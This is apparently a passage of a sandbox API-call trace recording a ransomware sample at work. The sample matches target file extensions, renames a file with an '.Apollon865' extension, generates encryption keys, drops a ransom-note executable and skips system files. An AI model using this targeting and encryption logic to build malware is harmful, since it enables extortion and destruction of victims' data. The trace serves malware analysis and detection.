	[0062.936] lstrlenW (lpString="maq") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1
	[0062.936] lstrlenW (lpString="mar") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1
	[0062.936] lstrlenW (lpString="marshal") returned 7
	[0062.936] lstrcmpiW (lpString1="dsdb-ms", lpString2="marshal") returned -1
	[0062.936] lstrlenW (lpString="mas") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1
	[0062.936] lstrlenW (lpString="mav") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1
	[0062.936] lstrlenW (lpString="maw") returned 3
	[0062.936] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1
	[0062.937] lstrlenW (lpString="mdbhtml") returned 7
	[0062.937] lstrcmpiW (lpString1="dsdb-ms", lpString2="mdbhtml") returned -1
	[0062.937] lstrlenW (lpString="mdn") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1
	[0062.937] lstrlenW (lpString="mdt") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1
	[0062.937] lstrlenW (lpString="mfd") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1
	[0062.937] lstrlenW (lpString="mpd") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1
	[0062.937] lstrlenW (lpString="mrg") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1
	[0062.937] lstrlenW (lpString="mud") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1
	[0062.937] lstrlenW (lpString="mwb") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1
	[0062.937] lstrlenW (lpString="myd") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1
	[0062.937] lstrlenW (lpString="ndf") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1
	[0062.937] lstrlenW (lpString="nnt") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1
	[0062.937] lstrlenW (lpString="nrmlib") returned 6
	[0062.937] lstrcmpiW (lpString1="sdb-ms", lpString2="nrmlib") returned 1
	[0062.937] lstrlenW (lpString="ns2") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1
	[0062.937] lstrlenW (lpString="ns3") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1
	[0062.937] lstrlenW (lpString="ns4") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1
	[0062.937] lstrlenW (lpString="nsf") returned 3
	[0062.937] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1
	[0062.937] lstrlenW (lpString="nv") returned 2
	[0062.937] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1
	[0062.938] lstrlenW (lpString="nv2") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1
	[0062.938] lstrlenW (lpString="nwdb") returned 4
	[0062.938] lstrcmpiW (lpString1="b-ms", lpString2="nwdb") returned -1
	[0062.938] lstrlenW (lpString="nyf") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1
	[0062.938] lstrlenW (lpString="odb") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0062.938] lstrlenW (lpString="odb") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0062.938] lstrlenW (lpString="oqy") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1
	[0062.938] lstrlenW (lpString="ora") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1
	[0062.938] lstrlenW (lpString="orx") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1
	[0062.938] lstrlenW (lpString="owc") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1
	[0062.938] lstrlenW (lpString="p96") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1
	[0062.938] lstrlenW (lpString="p97") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1
	[0062.938] lstrlenW (lpString="pan") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1
	[0062.938] lstrlenW (lpString="pdb") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1
	[0062.938] lstrlenW (lpString="pdm") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1
	[0062.938] lstrlenW (lpString="pnz") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1
	[0062.938] lstrlenW (lpString="qry") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1
	[0062.938] lstrlenW (lpString="qvd") returned 3
	[0062.938] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1
	[0062.938] lstrlenW (lpString="rbf") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1
	[0062.939] lstrlenW (lpString="rctd") returned 4
	[0062.939] lstrcmpiW (lpString1="b-ms", lpString2="rctd") returned -1
	[0062.939] lstrlenW (lpString="rod") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1
	[0062.939] lstrlenW (lpString="rodx") returned 4
	[0062.939] lstrcmpiW (lpString1="b-ms", lpString2="rodx") returned -1
	[0062.939] lstrlenW (lpString="rpd") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1
	[0062.939] lstrlenW (lpString="rsd") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1
	[0062.939] lstrlenW (lpString="sas7bdat") returned 8
	[0062.939] lstrcmpiW (lpString1="edsdb-ms", lpString2="sas7bdat") returned -1
	[0062.939] lstrlenW (lpString="sbf") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1
	[0062.939] lstrlenW (lpString="scx") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1
	[0062.939] lstrlenW (lpString="sdb") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1
	[0062.939] lstrlenW (lpString="sdc") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1
	[0062.939] lstrlenW (lpString="sdf") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1
	[0062.939] lstrlenW (lpString="sis") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1
	[0062.939] lstrlenW (lpString="spq") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1
	[0062.939] lstrlenW (lpString="te") returned 2
	[0062.939] lstrcmpiW (lpString1="ms", lpString2="te") returned -1
	[0062.939] lstrlenW (lpString="teacher") returned 7
	[0062.939] lstrcmpiW (lpString1="dsdb-ms", lpString2="teacher") returned -1
	[0062.939] lstrlenW (lpString="tmd") returned 3
	[0062.939] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1
	[0062.939] lstrlenW (lpString="tps") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1
	[0062.940] lstrlenW (lpString="trc") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0062.940] lstrlenW (lpString="trc") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0062.940] lstrlenW (lpString="trm") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1
	[0062.940] lstrlenW (lpString="udb") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1
	[0062.940] lstrlenW (lpString="udl") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1
	[0062.940] lstrlenW (lpString="usr") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1
	[0062.940] lstrlenW (lpString="v12") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1
	[0062.940] lstrlenW (lpString="vis") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1
	[0062.940] lstrlenW (lpString="vpd") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1
	[0062.940] lstrlenW (lpString="vvv") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1
	[0062.940] lstrlenW (lpString="wdb") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1
	[0062.940] lstrlenW (lpString="wmdb") returned 4
	[0062.940] lstrcmpiW (lpString1="b-ms", lpString2="wmdb") returned -1
	[0062.940] lstrlenW (lpString="wrk") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1
	[0062.940] lstrlenW (lpString="xdb") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1
	[0062.940] lstrlenW (lpString="xld") returned 3
	[0062.940] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1
	[0062.940] lstrlenW (lpString="xmlff") returned 5
	[0062.940] lstrcmpiW (lpString1="db-ms", lpString2="xmlff") returned -1
	[0062.940] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.Apollon865") returned 79
	[0062.941] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms.apollon865"), dwFlags=0x1) returned 1
	[0062.941] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0062.941] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=6656) returned 1
	[0062.941] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0062.942] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0062.942] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0062.942] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0062.943] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0062.943] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0062.943] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d00, lpName=0x0) returned 0x154
	[0062.950] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d00) returned 0x100000
	[0062.952] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0062.953] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0062.953] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0062.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0062.953] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0062.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0062.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0062.953] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0062.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0062.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0062.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0062.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0062.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0062.954] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0062.954] CloseHandle (hObject=0x154) returned 1
	[0062.954] CloseHandle (hObject=0x118) returned 1
	[0062.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0062.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0062.954] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2808b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.954] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.954] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2a6a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1
	[0062.954] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.954] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="Apollon865.txt.exe") returned 1
	[0062.954] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2=".") returned 1
	[0062.954] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="..") returned 1
	[0062.954] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="windows") returned -1
	[0062.954] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="bootmgr") returned 1
	[0062.955] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="temp") returned -1
	[0062.955] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="pagefile.sys") returned -1
	[0062.955] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="boot") returned 1
	[0062.955] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="ids.txt") returned 1
	[0062.955] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="ntuser.dat") returned -1
	[0062.955] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="perflogs") returned -1
	[0062.955] lstrcmpiW (lpString1="Microsoft Feeds~", lpString2="MSBuild") returned -1
	[0062.955] lstrlenW (lpString="Microsoft Feeds~") returned 16
	[0062.955] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 68
	[0062.955] lstrcpyW (in: lpString1=0x119e666, lpString2="Microsoft Feeds~" | out: lpString1="Microsoft Feeds~") returned="Microsoft Feeds~"
	[0062.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0062.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf4e0
	[0062.955] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a90 | out: ListHead=0x5b75f0, ListEntry=0x5b7a90) returned 0x5b7bb0
	[0062.955] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="Apollon865.txt.exe") returned -1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2=".") returned 1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="..") returned 1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="windows") returned -1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="bootmgr") returned -1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="temp") returned -1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="pagefile.sys") returned -1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="boot") returned -1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="ids.txt") returned -1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="ntuser.dat") returned -1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="perflogs") returned -1
	[0062.955] lstrcmpiW (lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpString2="MSBuild") returned -1
	[0062.955] lstrlenW (lpString="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 39
	[0062.955] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 63
	[0062.955] lstrcpyW (in: lpString1=0x119e666, lpString2="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~" | out: lpString1="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~"
	[0062.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0062.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xae) returned 0x5c8f30
	[0062.955] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79b0 | out: ListHead=0x5b75f0, ListEntry=0x5b79b0) returned 0x5b7a90
	[0062.955] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0
	[0062.956] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.956] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79b0
	[0062.956] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~"
	[0062.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0062.956] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0062.956] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 86
	[0062.956] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~"
	[0062.956] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.956] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0062.956] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0062.956] GetLastError () returned 0x0
	[0062.957] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0062.957] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0062.957] CloseHandle (hObject=0x15c) returned 1
	[0062.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0062.957] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.957] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.957] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.957] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.957] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.957] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.957] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.957] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.957] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.957] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.957] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2808b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.957] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.957] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1
	[0062.957] lstrcmpiW (lpString1="WebSlices~", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.957] lstrcmpiW (lpString1="WebSlices~", lpString2="Apollon865.txt.exe") returned 1
	[0062.957] lstrcmpiW (lpString1="WebSlices~", lpString2=".") returned 1
	[0062.957] lstrcmpiW (lpString1="WebSlices~", lpString2="..") returned 1
	[0062.957] lstrcmpiW (lpString1="WebSlices~", lpString2="windows") returned -1
	[0062.957] lstrcmpiW (lpString1="WebSlices~", lpString2="bootmgr") returned 1
	[0062.958] lstrcmpiW (lpString1="WebSlices~", lpString2="temp") returned 1
	[0062.958] lstrcmpiW (lpString1="WebSlices~", lpString2="pagefile.sys") returned 1
	[0062.958] lstrcmpiW (lpString1="WebSlices~", lpString2="boot") returned 1
	[0062.958] lstrcmpiW (lpString1="WebSlices~", lpString2="ids.txt") returned 1
	[0062.958] lstrcmpiW (lpString1="WebSlices~", lpString2="ntuser.dat") returned 1
